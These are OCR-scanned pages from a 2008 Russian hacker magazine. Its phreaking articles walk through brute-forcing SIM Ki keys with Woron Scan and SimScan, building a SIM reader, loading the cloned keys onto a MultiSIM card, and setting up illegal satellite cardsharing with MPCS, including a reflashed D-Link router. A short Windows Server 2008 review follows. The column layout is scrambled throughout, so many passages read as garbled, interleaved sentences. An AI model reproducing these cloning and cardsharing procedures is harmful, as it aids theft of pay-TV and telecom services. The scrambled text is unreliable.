чается быстрее всех. Лишена чески полностью вытеснены идущий в комплекте. баг, из-за которого Silver Card
некоторых фишечек, впрочем, картами Green 2. Ну и, конечно, не стоит забы- и ее аналоги отказывались
думаю, их можно реализовать Еще существует т.н. Gold вать про нашу российскую работать в некоторых Нокиях.
программно, просто никто Card — но внимания она не разработку — штуку под Из недостатков: переключе-
толком не занялся. Построена достойна, так как, во-первых, кодовым названием А-SIM. ние через меню стало на один
на контроллере PIC16 и флеш изначально имела слишком От привычных сильверов от- пункт глубже. Некоторые те-
памяти серии 24Lxx. Прошив- мало памяти (16 килобайт), а личается тем, что для работы лефоны перезагружаются при
ку можно беспрепятственно во-вторых, прошивку для нее с ней достаточно обычной смене номера, причем, это не
слить или заменить другой. так и не довели до ума. Для читалки. Сама карточка чуть баг, а фича (разработчики А-
Можно модифицировать как прошивки этих карточек нуж- тоньше, чем стандартная SIM считают, что так коррект-
душе угодно, конечно, если но использовать специальный Silver Card, а значит, ее проще нее). На отдельных мобилах
квалификации хватит. Обыч- программатор, что осложняет резать для вставки в пере- смена номера происходит
но на Silver Card вкручивается их использование. Впрочем, ходник 2in1. Поддерживает в разы дольше, чем на Silver
что-либо вроде Sim-Emu v6.1 если тебе удастся купить кар- функцию «тайной записной Card. Кроме того, А-SIM — это
или аналогов. точку с прошивкой не ниже книжки». «Тайная книжка» закрытая платформа, шалов-
Карты Green и Green 2 SimEmu v6.1, то все действия не дает телефону сохранять ливые ручонки с дебаггером в
— модификации Silver карты. можно будет проводить прямо в исходящих/входящих нее уже не запустишь.

xàêåð 05 /113/ 08
117
>> phreaking
Sim Reader в сборе. Разъем для карты выдран из
Нокии 3110

have для любого гика. Так что вопрос об изготовлении подобной штуковины
должен быть решен однозначно.

Что мне за это будет?


Надо сказать, опсосы не особо приветствуют такое использование карт.
Понять их можно, они лишаются потенциальней прибыли, так как ты мо-
жешь позвонить с другого оператора, когда тебе это выгодней. Но они ни-
чего и не теряют, так как каждый аккаунт по-прежнему имеет свой баланс
и ты вынужден класть туда бабло, чтобы общаться. Поэтому категорически
против не выступают. Да и в отличие от банковских смарт-карт, SIM-ка
является собственностью абонента, а значит, ты можешь делать с ней что
угодно. Формально использование MultiSIM — то же самое, что таскание
кучи SIM-карт в кармане, только более технологичное. Единственное,
что вызовет законное возмущение — это одновременное использование
Multisim menu оригинала и дубликата карты. В этом случае с большой вероятностью
заблокируют аккаунт, и тебе придется идти в абонентский отдел и получать
новую SIM-карту с другим набором IMSI-Ki.

стью, близкой к 100%, тебе выдадут новую (на халяву или за минимальную Как? Где? Чем?
плату), а старую заблокируют. Но не все так страшно, карта позволяет 65536 Итак, ты решился сделать себе мультисим. С чего начать? Надыбать саму
обращений, а для подбора Ki этого, как правило, более чем достаточно. MultiSim карту. Можно поискать на радиорынках, можно — в онлайн мага-
Правда, существует одна тонкость, а именно — хэш алгоритмов на данный зинах (набери, в Яндексе «Silver Card» или «Multisim»). Я же свою купил в
момент используется два вида: COMP128v1 и COMP128v2. Первый легко каком-то полуподвальном шопе, торгующем подержанными мобилами. Я
поддается взлому, а вот второй пока забрутфорсить не удалось. Впро- просто подошел и спросил, не делают ли они мультисимки. Оказалось, де-
чем, если сильно захотелось поиметь в мультисимке карту на алгоритме лают. Вот у них и купил — вышло дороже, чем указано в инете, но дешевле,
СОМР128v2, то можно сделать финт ушами — вырезать из Silver Card пятак учитывая стоимость пересылки до Челябинска. Главное, чтобы мультисим-
с процессором и вставить ее в блок два в одном, на пару с проблемной. ка была с прошивкой SimEmu не ниже шестой версии, так как иначе можно
нарваться на пустую болванку и долго искать программатор. Этот вопрос
Зачем? нужно сразу уточнить у продавца. В среднем, адекватная цена за Multisim
Ну ладно, я путешественник, и эти штуковины мне реально пригодятся. А Card — 250-500 рублей, в зависимости от модели.
ты, например, пользуешься всю жизнь одним и тем же оператором. Есть ли Допустим, карточку ты достал. Остается распотрошить свои SIM’ки,
тогда необходимость в ухищрениях? выдрать из них заветные коды и забить их в MultiSIM. Можно, конечно,
Сколько раз мультисимка выручала меня, когда вдруг кончалось бабло на поручить это мутным дядькам с радиорынка или из других подозрительных
основном номере; когда не ловил оператор; когда в данной зоне наотрез конторок. За грабление одной SIM-карты они берут порядка ста рублей.
отказывался работать GPRS, а срочно требовался доступ в Инет. Да и Вроде недорого, однако информация для доступа к твоему мобильному
запустить залоченный девайс, привезенный из-за бугра, не вмешиваясь аккаунту попадет в третьи руки — большое западло!
в его прошивку, например, тот же iPhone или какой-нибудь редкий или Поэтому ломать будем сами. Тебе потребуется читалка SIM-карт и софтина
новомодный телефон, PCMCIA GSM Modem, выданный на халяву в аме- брутфорсер. В качестве софта я использую проверенную временем
риканском отделении T-mobile… Короче, я считаю, что MultiSIM это must SimScan, но она довольно медленная, поэтому лучше заюзать более

118 xàêåð 05 /113/ 08


>> phreaking

аккуратно перерисовать дорожки на фольгу текстолита посредством


водостойкого маркера, а потом кинуть все это дело в раствор медного
купороса или хлорного железа. В конце концов, можешь склепать схему
на куске картона, соединив все проводками — мой первый reader был
именно таким.
Из инструментов тебе потребуется паяльник помельче и дрель с
миллиметровым сверлышком. Также нужен кусочек текстолита 6 на 4
см и ряд радиодеталей, перечень которых ты найдешь на врезке. Стоят
они в сумме около 50 рублей. Расположение и номинал каждой детали
подробно указаны на рисунке. Немного терпения, прямые руки… и все
у тебя получится. При монтаже особое внимание удели пайке микро-
схемы, транзисторов и диодов. Все они боятся перегрева, поэтому паяй
краткими касаниями. Место пайки надо хорошенько смазать флюсом
Моя козырная Silver Card! Немножко подпиленная, так как не влезала (рекомендую ЛТИ-120) — паяться будет в разы проще и качественней.
Аккуратнее на впайке транзисторов, конденсаторов и диодов. Тут глав-
ное не перепутать полярность и выводы. Поэтому сверяйся с рисунками.
продвинутый Woron Scan, вычисляющий Ki код за меньшее число обра- Самое сложное это найти разъем для подключения SIM-карты. Если
щений. Читалку можно купить в интернет-магазине или сделать самому из живешь в крупном городе, разъем можно купить в радиомагазине. Но
подручного хлама. Далее будет приведен мануал по изготовлению читалки вот вдали от цивилизации найти такую штуковину куда сложнее. Не
в домашних условиях, а также мануал по пользованию софтиной и инструк- долго думая, я отрезал задницу от дохлой Nokia 3110 и использовал ее в
ция по забиванию кодов в Silver Card. качестве разъема.
Есть одна тонкость — постарайся не делать провода от ридера до компа
Ваяем Reader длиннее, чем полметра (меньше наводок будет). Кстати, можешь наклепать
Если ты решил зажмотить бабло и своими руками склепать читалку ридеров и сбагрить их по спекулятивной цене на радиорынке, компенси-
SIM-карт, то этот раздел для тебя. В противном случае можешь его смело ровав баблом затраченные на изготовление нервные клетки. В свое время
пропустить. я так и поступил.
Схема выполнена печатным монтажом. Рисунок платы и специальную
программу ты найдешь на диске. О том, как изготавливать высококачест- Let’s go shake, shake!
венные печатные платы посредством утюга и лазерного принтера по ме- Итак, ридер ты себе купил/спаял/одолжил. Пора приступать непосредст-
тоду «ЛУТ», написана не одна сотня статей, поэтому на этом я заострять венно к выковыриванию Ki кода. Подключи читалку к СОМ-порту, засунь в
внимание не буду. На всякий случай на диске ты найдешь подробное ру- нее SIM-карту и запускай Woron Scan. В меню «Card Reader» выбери пункт
ководство по лазеро-утюжной технологии изготовления плат. А если не Phoenix Card. Затем переходи в раздел Card Reader  Settings и выбирай
хочешь заморачиваться или у тебя нет лазерного принтера, то можешь скорость порта 9600 и номер порта, к которому подключен ридер. Теперь

Схема Sim Reader

xàêåð 05 /113/ 08
119
>> phreaking

SimScan — одна из самых простых


программ для брутфорса SIM-карт

Подбор Ki — процесс долгий

Настройка программы Woron Scan

нажми кнопку RST в верхнем меню. Произойдет сброс карточки, а в логах


появится что-то вроде:

The real speed is 9600..


There is a card in Phoenix device:
ATR:
3B 9B 95 80 1F 43 80 31 30 73 32 21 00 53 25 99
01 DD

Если не появилось, значит, проблема либо с симкой, либо с ридером. Но


надеюсь, у тебя все ОК. Можно жать кнопку IMSI и получать в окне логов Главное окно программы Woron Scan
свой IMSI-код.
Осталось получить Ki-код. Для этого нажми кнопочку Ki и START — прога
спросит твой PIN-код (без него нельзя получить доступ к SIM-карте) и номер телефона загружаемой симки. Я рекомендую вписать именно номер,
начнет подбор заветного числа. Предупреждаю сразу, подбор долгий. так как он будет отображаться на экране прямо под надписью оператора.
Поиск первого байта кода Ki может занять больше часа. Первый байт Согласись, две строчки Beeline друг под другом будут выглядеть немного
всегда долго ищется, зато остальные находятся в течение нескольких странно.
минут. Примерно на 60000 попытках программа автоматически прекра- Config.Pos — непосредственно ввод данных в мультисимку. Выбираешь
щает перебор, чтобы избежать блокировки карты по счетчику обраще- этот пункт, телефон запросит PIN2 (по дефолту обычно 1234). Затем спросит
ний. В таком случае повторный запуск брутфорсера не имеет смысла. номер позиции, которую надо будет отредактировать. Слоты тут нумеруются
Если за 60000 запросов ничего не получилось, то не судьба. Эта карта не с нуля. Если ты забиваешь первый номер, то начни с «0». После выбора
ломается, такое бывает. номера тебе предложат ввести IMSI. Внимательно вбей все 16 знаков и
Ну, а после удачного брута искомые коды будут в логах. Перепиши их куда- жми «ОК» или что там у тебя в телефоне. Следом будет ввод Ki — тот еще ги-
нибудь на бумажку и занычь от посторонних взглядов. мор! Но, думаю, ты не ошибешься. Опять жми «ОК». Следующим вопросом
Если Ворон никак не может начать взлом, ссылаясь на какие-то ошибки, будет желаемый PUK код. Введи любое число, не забыв предварительно
попробуй программу SimScan. У нее не такой продвинутый алгоритм, зато записать его на бумажку. Наконец, ввод PIN для данного слота. Опять же
порой она на раз жрет проблемные симки. Выбрал порт, скорость и нажал — задается любой. Если для всех слотов задать одинаковый PIN, то при
кнопку Find Ki. включении мобила первым делом загрузит слот под номером 0, а вот если
Так, данные у нас есть, осталось забить их в MultiSIM карту. задать разные, то перед включением можно выбрать, какой слот загрузить,
Вставляй ее в телефон и лезь в SIM-меню (например, у Siemens оно появ- набрав его PIN-код. Удобно, правда?
ляется в разделе «Еще»). Там должно появиться Sim-Emu 6.01s (если у тебя Config.SMS — позволяет задать число хранимых в памяти SMS. Задается
A-sim или что-либо, отличное от Silver’о подобных карт, то строка меню исходя из возможностей карты.
будет зваться по-другому). Config.ADN — тут мы можем задать число ячеек записной книжки симки.
Заходи туда и увидишь главное меню мультисимки. Итак: Поскольку у меня все номера в телефоне, то я выставил 1.
PIN2/PUK2 — пункт меню, через который осуществляется смена PIN2 и
Sel.Phone — позволяет выбрать текущий активный номер. PUK2 кодов.
Тот, который в данный момент обозначается плюсиком. Erase.Pos — удалить номер из SIM-карты. Просто вводишь номер удаляе-
Configure — меню настройки мультисимки, о нем чуть ниже. мой позиции (нумерация идет с нуля) и жмешь «OK».
Information — немного служебной инфы, залезь и узнаешь
сам. Outro
Reset — перезагрузка телефона. Так, чисто по приколу :). Надеюсь, я смог тебя убедить, что MultiSIM это мегарулез. Мне лично
трудно представить полноценную работу с телефоном без этой архиудоб-
Влезай в раздел Configure. ты увидишь: ной вещи. Если возникнут какие-то вопросы, пиши письма или оставляй
Edit # — редактирование названий слотов, в которые ты будешь загружать комментарий в моем журнале di-halt.livejournal.com. Помогу, чем смогу.
свои сграбленные симки. Можешь написать что-нибудь вроде Beeline или Удачи, камрад! z

120 xàêåð 05 /113/ 08


>> phreaking

Genocide
/ [email protected] /

Вынос кардшаринга на телевизор

Начал я тут баловаться спутниковым Закупка девайсов


Итак, что же нужно, чтобы спутник можно было смотреть на телевизоре? От-
кардшарингом. Зарегистрировался вет: ресивер. С одним лишь отличием — он должен поддерживать шаринг.
Поэтому всякие магазины бытовой техники я отбросил сразу и подорвался
на шаринг сервере, настроил пла- в сторону радиобарахолки. Выбор тут велик: от простеньких OpenBox до
легендарного Dream Box, который был бы лучшим вариантом для шаринга.
гин к софту и получил добрую сотню Этот могучий аппарат, построенный на процессоре Power PC, имеет на
борту Linux и может служить чем угодно, хоть спутниковым роутером, хоть
каналов. Поначалу было прикольно, шаринг сервером. На Dream Box реально поднять и аппаратный шаринг
клиент, благо в него можно воткнуть витую пару без каких-либо заморо-
потом наскучило. И нарисовалась чек. Всем он хорош, кроме одного — цены. Выкладывать почти десять

еще одна проблема — родственники. тысяч рублей за примочку к телевизору я был морально не готов. Поэтому,
побродив по рынку, откопал на одном из лотков OpenBox 300й серии. Стоил

Вот уж кто конкретно подсел на спут- он недорого, порядка трех тысяч рублей. Поначалу мне пытались впарить
легальный OpenBox, не имевший на заднице RS232 разъема, но, порыскав
ник, так это мама и бабушка. Стали еще немного, я нашел правильный аппарат с СОМ-портом. Там же я купил
две СОМ розетки и несколько метров пятижильного телефонного провода.
ходить вокруг моего компьютера
Собираем систему
и плотоядно на него поглядывать. Как собирать? Для начала нужно подключить коаксиальный кабель от
антенны к ресиверу. Делать это нужно при отключенном напряжении, иначе
Дабы оградить цифровое святилище есть риск спалить либо ресивер, либо приемник в антенне.
Следующий шаг — изготовление кабеля для передачи ключей от компа к ресиве-
от назойливых любителей телевиде- ру. Паяется он по схеме нуль модема от Rx в Tx. Схема кабеля показана на рисунке.
Первый вывод одного разъема я соединил с первым выводом второго разъема.
ния без рекламы, пришлось отвязы- Второй вывод соединил с третьим. Третий вывод — с вторым выводом другого
разъема. Ну и соединил проводом контакты номер пять. В итоге, получилось:
вать зомбоящик от компьютера.
1 — 1
2 — 3
3 — 2
Cпутниковый кардшаринг — что это? 5 — 5
В «][акере» уже была статья про шаринг, поэтому я не буду подробно все
расписывать, а лишь напомню принцип. Суть в том, что сигнал со спутника Плотнее уложил провод в корпус и закрутил разъем на место. Воткнул
поступает кодированный, а вместе с ним идет закодированный ключ для разъем в свободный СОМ-порт на компе, а другой конец подключил к
дешифровки. Смарткарта, вставляемая в ресивер, осуществляет декоди- разъему ресивера. Подключал все при отключенном оборудовании, так как
рование ключа и декодированным ключом уже происходит расшифровка при отсутствии электрической развязки между ресивером и компом при
видеопотока. Ключ меняется каждые десять секунд, поэтому подделать выдергивании провода на горячем подключении реально спалить порт на
смарткарту чертовски сложно, но можно расшарить ее через интернет или ресивере. На этом электрическая часть закончилась. Осталось настроить
локальную сеть и заставить декодировать ключи с чужих потоков. Таким соответствующий софт.
образом, одна легально купленная карта может обслуживать до сотни
клиентов. Разумеется, это незаконно, но шаринг провайдеры неплохо MPCS — оружие кардшарера!
шифруются, а со стороны поставщика спутникового телевидения воровство Одной из самых популярных и, наверное, лучших программ для
очень сложно отследить. шаринга является MPCS. Она представляет собой консольную тулзу,

122 xàêåð 05 /113/ 08


>> phreaking
распространяется в исходниках и существует как под винду, так и под Настройка ресивера
линух. Я скачал эту чумовую программу где-то на форуме, посвя- Я неспроста купил ресивер OpenBox. Это агрегат с секретом! Если нажать
щенном кардшарингу, и заботливо выложил на диск (поищи там). на пульте по очереди кнопки «menu» — «1» — «1» — «1» — «7», то поя-
Настройка заключается в элементарном добавлении нужных пара- вится скрытое меню «Редактор ключей». В нем есть пункт «Шаринг». В раз-
метров в конфигурационные файлы. Обычно достаточно настроить деле «No. CA SYS» я выставил «0500», а в разделе «Index Provider»
порт и сервер. — «02 07 10». Эти параметры мне сообщил провайдер; по умолчанию
Так, я залез в файл mpcs.conf: были выставлены такие же, но, видимо, встречаются различия.
Выставив все значения, я запустил MPCS и стал разглядывать логи. После
[global] стандартной инфы пошел лог работы:
Nice = -1
#LogFile = log 2008/04/06 20:06:50 1420 s >> STREAMBOARD << mp-
#LogFile = /dev/tty cardserver started
ClientTimeout = 5 2008/04/06 20:06:50 1420 s newcamd: disabled
LogFile = stdout 2008/04/06 20:06:50 1420 s radegast: disabled
2008/04/06 20:06:50 1420 s logger started (pid=1564)
[serial] 2008/04/06 20:06:50 1420 s resolver started
Device = tuner@/dev/ttyS0?delay=1&timeout=300 (pid=1580, delay=30 sec)
2008/04/06 20:06:50 1420 s proxy started (pid=1600,
Строка «Device = tuner@/dev/ttyS0?delay=1&timeout=300» server=******.*****
означает, что ресивер у меня сидит на порту COM1 — ясно из параметра 2008/04/06 20:06:50 1420 s anti cascading: disabled
«ttyS0». Для СОМ2 это будет «Device = tuner@/dev/ttyS1?delay=1 2008/04/06 20:06:50 1420 s serial: initialized
&timeout=300» и т.д. Остальные параметры определяют задержку порта (pid=1616, auto@/dev/ttyS0
и скорость обмена. Их я оставил по дефолту, но вообще, если что-либо не 2008/04/06 20:06:50 1600 p02 proxy ******.*****:10000
заработает, ими можно побаловаться. newcamd525
Следующим конфигом стал mpcs.server. В нем происходит настройка на 2008/04/06 20:08:09 1616 c01 detected dsr9500‑extended
конкретный шаринг сервер. type receiver
2008/04/06 20:08:09 1616 c01 plain dsr9500‑client
127.0.0.1 granted
[reader] 2008/04/06 20:08:10 1600 p02 server ******.*****:10000
Label = newcamd caid: 0500
Protocol = newcamd 2008/04/06 20:08:17 1616 c01 tuner (0500&020710/5015/4
Key = 0102030405060708091011121314 A:97FA): found (774 ms)
Device = kardsharing-super-server.ru,10000 2008/04/06 20:08:27 1616 c01 tuner (0500&020710/5015/4
Account = Genocide_login,my_k00l_password A:97FB): found (895 ms)
Fallback =0 2008/04/06 20:08:37 1616 c01 tuner (0500&020710/5015/4
Group =1 A:97FA): found (936 ms)
ReconnectTimeout = 20 2008/04/06 20:08:47 1616 c01 tuner (0500&020710/5015/4
A:97FB): found (828 ms)
В разделе Label просто указывается метка коннекта, можно вбить туда 2008/04/06 20:08:57 1616 c01 tuner (0500&020710/5015/4
несколько шаринг серверов. A:97FA): found (699 ms)
Пункт Protocol указывает, по какому шаринг протоколу будет общение с
сервером. Стандартом тут стал newcamd, но бывают и другие протоколы, на- Обрати внимание на задержку до получения ключа. Если она превысит
пример, camd35 для cs357x-сервера. Тип протокола сообщает шаринговый пять секунд, изображение может начать срываться и дергаться. Задержки
сервер при подключении. Здесь сервер, конечно же, вымышленный. зависят от шаринг провайдера, а точнее — от прохождения пакетов до
Параметр Key я оставил как есть. Стандартно там «010203040506070809 его сервера. Если скорость стабильно низкая, то лучше поискать другого
1011121314». провайдера, благо их сейчас стало, как грязи.
Device — это непосредственно сервер, к которому происходит подклю-
чение; через запятую я вписал название сервера (можно просто его IP) и Долой компьютер!
номер порта. Эти данные мне сообщил шаринг сервер при подписке. Вскоре надоело и это. Не хотелось постоянно держать комп работающим
Account — ну, тут все ясно: мой логин и пароль, естественно, липовый :). — я часто уезжаю и предпочитаю его выключать. Задумался о способах от-
С остальными параметрами я не развлекался. По дефолту обычно все вязки от компьютера. Пошарив по инету и специализированным форумам,
работает нормально. я наткнулся на девайс под названием LanCom Box. Это мост, связывающий
СОМ-порт ресивера с шаринг сервером через Ethernet. Однако штука
оказалась весьма дорогой и меня жаба задавила ее покупать (тем более, по

BusyBox
Что это за зверь? Да это что-то вроде микролинуха, точнее набор UNIX-
утилит командной строки, запихнутый в один файл для экономии мес-
Модемный прикол
та. Преимущества комплекта перед обычным линухом заключаются в Если в DLINK-500T в LAN-разъем воткнуть витуху, в которой есть инет,
предельно малом занимаемом объеме и низких системных требова- а на ADSL-вход забить вообще, то MPCS также будет работать!
ниях. Основное применение BusyBox — встраиваемые системы и раз- Используя фичу, можно сделать шаринг клиент на любом LAN-соедине-
ного рода умные устройства, например роутеры. BusyBox — модульная нии. В том же роутере можно настроить VPN-соединение и использо-
система. В процессе компиляции можно включать или исключать ее вать его для подключения к провайдерам, поставляющим интернет
компоненты, точно настраивая под нужды системы. через домашние локальные сети.

xàêåð 05 /113/ 08
123
>> phreaking

Соединительный кабель для связи ресивера и компа

OpenBox-300. Рабочая лошадка для спутникового шаринга

DreamBox — пожалуй, самый рулезный ресивер из всех существующих Тайное меню ресивера OpenBox

слухам, она может работать не везде — какие-то проблемы с VPN). Вскоре Я же, поскольку в совершенстве владею лазерно-утюжным методом изго-
обнаружилось еще одно удачное решение — перешитый ADSL-модем. Во- товления печатных плат, предпочел выполнить все печатным монтажом.
обще, большинство ADSL модемов, работающих в режиме роутера (модем Получилось компактно и красиво. Утаивать разводку я не намерен, а посему
подключается к компьютеру посредством витой пары через сетевую карту), она выложена на диск. Также переходник можно купить на радиобарахолке
представляют собой довольно мощные компьютеры под управлением
Linux-подобной операционной системы. Я начал копать в эту сторону.
Оказывается, в ADSL-роутер DLINK-500T можно залить измененную
прошивку, основанную на uLinux и установить MPCS. Правда, есть одно
маленькое «но» — у DLINK-500T изначально нет RS232.

Потрошим роутер
mpcs.conf
Пошерстив по форумам, я узнал, что перепрошивке под кардшаринг [global]
поддаются почти все роутеры серии Dlink-500Т (кроме тех, у которых память Nice = -20
фирмы Intel). LogFile = /dev/null
Вскрываю крышку, внимательно оглядываю плату роутера… Мне повез- ClientTimeout = 5
ло — память Samsung. Хотя нет порта RS232. Нет порта? Ну и черт с ним!
Сейчас приделаю! Что это за торчащие штырьки возле ряда светодиодов? [monitor]
Зовутся «JP2». Беглое протыкание осциллографом показало, что это самый Port = 988
обычный трехвольтовый UART, превращаемый в RS232 посредством NoCrypt = 192.168.0.0-192.168.255.255
широко известной микросхемы конвертера MAX3232. По-быстрому в Sprint AULow = 120
Layout развел печатную плату для конвертера. В принципе, она настолько MonLevel = 4
простая, что ее можно сделать и навесным монтажом, припаяв детали
друг к другу. Все, что мне потребовалось, — штекер RS232, микросхема [newcamd]
MAX3232 да четыре конденсатора на один микрофарад. Конденсаторы Key = 0102030405060708091011121314
можно припаять напрямую на ножки микросхемы, благо они маленькие, а Port = 50000@0500:020710
Rx и Tx пропустить через входы и выходы MAX3232, как показано на схеме, и
припаять к штырькам. Если держать плату светодиодами вверх, разъемами [cs378x]
вниз и деталями к себе, то распиновка штырьков слева направо такая: Port = 50002

1 Rx [camd35]
2 - Port = 50001
3 Vcc
4 GND #[serial]
5 Tx #Device = tuner@/dev/ttyS0?delay=1&timeout=300

124 xàêåð 05 /113/ 08


>> phreaking

links
• satcode.biz — тут
находится масса инфы
по спутниковому кард-
шарингу, тарелкам
Печатная плата адаптера СОМ-порта. Можно просто начер-
Распайка нуль-модемного кабеля тить маркером на плате и вытравить или заюзать монтажку и оборудованию. А
также родной форум
по MPCS.
или в радиомагазине. Зовется он «TTL-RS232 адаптер». * ADSL LAN ROUTER D-Link DSL-500T (McMCC)
Внутри — тот же самый MAX232 только в отдельном корпусе. ******************************************** • viaccessforfree.info
Такая штука иногда идет в комплекте с некоторыми кассовыми BusyBox v0.61.pre (2007.01.15-21:12+0000) — еще один толковый
аппаратами. Built-in shell (ash) форум по спутнико-
Enter ‘help’ for a list of built-in commands. вому телевидению и
Вправляем роутеру мозги # картам доступа к ним.
Поскольку изначальная прошивка роутера никуда не
годится, будем ее менять! Нам нужна прошивка от Mcmcc. Затем я набрал в командной строке «cat /proc/ticfg/ • southern-bear.pisem.
Я скачал ее с сайта http://mcmcc.bat.ru (но тебе достаточно env», и модем отрыгнул в консоль много всего, в том числе и net/sattv/doc — архив
просто открыть диск). таблицу разметки памяти: спецификаций и доку-
Перешиваем роутер. Для этого я зашел в меню роутера, ментаций по теме.
набрав в адресной строке браузера его IP-адрес. Ввел па- mtd0 0x90083000,0x903f0000
роль администратора (по дефолту Login «Admin», password mtd1 0x90010090,0x90083000
«Admin»). Продрался через меню к странице обновле- mtd2 0x90000000,0x90010000
ния прошивки — Tools  Update Gateway. Указал путь к mtd3 0x903f0000,0x90400000
распакованному файлу прошивки и нажал кнопку «Update mtd4 0x90010000,0x903f0000
Gateway». После чего перезагрузил модем, опять зашел в
меню и в разделе «Status Information» убедился в том, что Ввел в консоли:
прошивка встала на место.
Дальше потребовалось переразметить память и высвободить echo "mtd5 0x901F0000,0x90200000" > /proc/
место для MPCS. Для этого я зашел в роутер черезе Telnet, ticfg/env dvd
набрав в командной строке «telnet 192.168.1.1». Роутер echo "mtd4 0x90020000,0x901F0000" > /proc/ На диске лежат MPCS
приветствовал меня и предложил залогиниться. Логинился ticfg/env с конфигами, прошив-
я, естественно, как root с паролем Admin. Ответом мне было echo "mtd0 0x90097000,0x901F0000" > /proc/ ки для роутера, а так-
приветствие BussyBox: ticfg/env же схемы и печатные
платы переходника.
BusyBox on router login: root Потом перезагрузил роутер (команда «reboot») и проверил
Password: (команда «cat /proc/ticfg/env»), произошло ли перерас-
******************************************** пределение памяти.

mpcs.user mpcs.server
[account] [reader]
User = tuner Label = newcamd
Pwd = tuner Protocol = newcamd
Group = 1 Key = 0102030405060708091011121314
Device = *******,***** //тут нужно ввести свой
[account] шаринг-сервер и порт
User = monitor Account = *******,***** //А тут вводится логин и
Pwd = monitor пароль к шаринговому серверу.
Group = 1 CAID = 0500
IDENT = 0500:020710
Fallback = 0
Group = 1
ReconnectTimeout = 20

xàêåð 05 /113/ 08
125
>> phreaking

Схема адаптера СОМ-порта

Небольшая переделка стандартного ADSL-роутера Dlink500T. Добавляем


к нему СОМ-порт

Это вызвало заливку конфигов MPCS в роутер с моего компа (192.168.0.2).


Печатная плата адаптера СОМ-порта. Можно просто начертить маркером Далее я воткнул провод, соединяющий RS232‑роутер с RS232 портом
на плате и вытравить или заюзать монтажку ресивера. В разъем Line воткнул ADSL, а LAN подключил к компу по его
типовой схеме. Как только модем подключился к ADSL линии, включил
телевизор и попробовал посмотреть зашифрованный канал. Работает!
Скачал себе небольшой карманный FTP-сервер tFTPd32.exe. Создал
в корне диска «С:\» каталог «С:\LAN» и сложил туда все барахло, а кон- А если бы у меня не было инета?
кретно — настроенный MPCS и файлы FTP-сервера. В каталоге оказалось Выход есть! Если в дом не подведена локальная сеть или отсутствует
следующее файло: возможность подключить ADSL (я сам живу далеко за Уралом, пробле-
ма инета стоит остро), то спасет GPRS. Расход трафика при просмотре
mpcs.mem спутникового телевидения просто мизерный. Суди сам, раз в десять
mpcs.guess секунд ресивер запрашивает через шаринг сервер очередной ключ. Сам
mpcs.ac ключ занимает считанные байты — плюс заголовок протокола newcamd
mpcs.srvid с логином и паролем. Короче, и килобайта не наберется. А для аппарат-
mpcs.conf ного решения проблемы можно купить специально прошитый сотовый
mpcs.server телефон да найти Java программку, обрабатывающую ключи. Но это не
mpcs.user самый удачный метод, его можно посоветовать лишь для экстремального
mtd5.tar шаринга вдали от цивилизации.
tftpd32.exe
Ответственность
Рабочий MPCS конфиг для заливки в роутер приведен на врезке. После Спалить клиента кардшаринг сервера очень трудно, но иногда их ловят
чего я запустил tftpd32.exe и опять полез через telnet в роутер. Забил и сажают. Так что если юзаешь кардшаринг, то стоить задуматься о том,
следующую последовательность команд: что однажды сапоги могут постучаться и в твой дом. Не исключено, что
легальная подписка на услуги спутникового телевидения и спокойствие
cd /var/tmp (как бонус) в итоге обойдутся дешевле? Да и нет там ничего интересного,
tftp -g -l mtd5.tar 192.168.1.2 на этих каналах. Фильмы проще и удобней смотреть на DVD, порнухи
tar -xf mtd5.tar навалом в интернете, а всякие образовательные каналы, вроде Диска-
cd mycfg вери, намертво убиты американизированной подачей материала, рассчи-
tftp -g -l mpcs.conf 192.168.1.2 танной на даунов. Постоянное повторение одних и тех же фактов в стиле
tftp -g -l mpcs.server 192.168.1.2 телепузиков доканает кого угодно. Однако забрасывать спутниковые тех-
tftp -g -l mpcs.user 192.168.1.2 нологии я бы тоже не рекомендовал. Тема очень интересная, в ней можно
cd .. разбираться пол жизни. Плюс непередаваемый кайф от перехвата инфы,
tar -cpf m.tar mycfg не предназначенной для широкого просмотра. Я даже не вспоминаю про
gzip m.tar фишинг, это пошло. Куда веселей, например, перехватить техническую
cfgsave m.tar.gz трансляцию какого-нибудь футбольного матча, которую телевизионщики
reboot гонят со спутника на землю по служебным каналам. z

126 xàêåð 05 /113/ 08


>> ХАКЕР.pro

Сергей «GrindEr» яреМчук


/ [email protected] /

Êîäîâîå èìÿ
«Longhorn»
WINDOWS SErVEr 2008: обзор ноВоВВедений

Появление нового продукта от Microsoft всегда вызывало ажиотаж. И релиз


серверной ОС Windows Server 2008 «Longhorn» — не исключение. Еще задол-
го до официального выхода «длиннорога» в обзорах и пресс-релизах обеща-
ли много свежих фич. Посмотрим, что мы получили на деле.

горячие ноВости что и Vista SP1, имеет схожие архитектуру и функции. Кстати, не-
Разработка новой версии серверной ОС велась несколько лет (Beta которые возможности по безопасности, управлению и админист-
1 была представлена еще в 2005 году), параллельно с Win2k3, ко- рированию, заложенные в Vista (групповые политики, управление
торую она и призвана заменить. Версия построена на том же ядре, учетными записями, работа с NAP), будут полностью доступны

18 xàêåð 05 /113/ 08


>> ХАКЕР.PRO

Доступно несколько вариантов установки


Менеджер первичных задач

только при наличии контроллера домена на новом сервере.


По сравнению с Win2k3 изменений очень много. Начнем с того, что ядро ли базы, установлены ли последние заплатки, включен ли межсетевой
(ntoskrnl.exe) заточено под многопроцессорные системы. Диспетчер экран. На основании этого компьютер получает полный или ограничен-
памяти также претерпел усовершенствования, повысившие производи- ный доступ в Сеть.
тельность. Отмечается ускорение работы с файлами большого объема Единственный недостаток системы в том, что агента NAP для *nix и
за счет того, что новая система избавилась от ограничения в 64 Кб на версий Windows до XP в природе не существует. А значит, компьютеры с
объем операций ввода-вывода, доставшегося в наследство еще от пер- такими операционками выйти в интернет не смогут. В сетях со смешан-
вой NT. При упреждающем чтении диспетчером кэша считывается вдвое ным составом систем использование NPS будет затруднительно, а то и
больший объем данных. Изменен алгоритм работы с файлом подкачки. невозможно.
В Vista и 2k8 появилась новая версия протокола SMB 2.0 — теперь сим- Полностью переработан IIS 7.0, который имеет модульную архитектуру.
волические ссылки обрабатываются правильно, а пакетная обработка По умолчанию в его состав входит 40 модулей, которые разбиты на 8
данных позволяет передавать больший объем информации. Произведен категорий (администратор самостоятельно включает только то, что
полный редизайн сетевого стека. действительно необходимо). К сожалению, FTP-сервер изменения не
Утилита DCPROMO переработана и стала на порядок проще в использо- затронули.
вании. При установке можно выбрать контроллер домена, с которого
будет произведена репликация, не нагружая основной контроллер. На Установка Win2k8
